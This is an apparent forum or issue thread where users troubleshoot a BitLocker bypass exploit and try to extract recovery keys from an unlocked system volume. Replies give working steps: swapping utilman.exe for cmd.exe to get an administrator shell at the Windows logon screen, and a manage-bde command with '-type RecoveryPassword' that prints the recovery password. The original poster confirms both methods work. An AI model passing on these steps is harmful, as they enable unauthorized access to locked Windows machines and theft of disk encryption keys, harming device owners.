Volume not selected, manage-bde get not working

[berrrtie]

Have a scenario where the exploit works, but the system volume does not have a drive letter assigned

Using Diskpart, I can select the volume and assign a drive letter.

Using manage-bde -status I can see the drive is protected and is unlocked (as per the exploit)

But when I use manage-bde -protectors -get
An error is returned
0x80070057
Parameter is incorrect.

Any clues?

[hani-yass]

same thing i dont think you can get the key with manage-bde, it just allow you to browse files

[berrrtie]

Just tried on another machine.
It appears that’s correct.. Manage-Bde -get doesn’t work.
That’s a shame

[tost110]

You have to do the following workflow.

• move to directory "C:/windows/system32" from "X:"
• ren utilman.exe utilman.exe.bak
• copy cmd.exe utilman.exe
• reboot
• on windows logon screen click on Accessibility features and a cmd with admin rights will appear
• then you can use the command "manage-bde -protectors -get C:"

[Beercow]

Try this:
manage-bde -protectors -get <drive_letter>: -type RecoveryPassword

The key is to add -type RecoveryPassword to the command.

[TV46]

When cd ing to the c drive it says it is encrypted

[berrrtie]

Both suggestions are valid and confirmed working @Beercow ‘s solution achieves what was required

[Beercow]

For the record, not my solution. An intern at Arsenal Recon figured it out.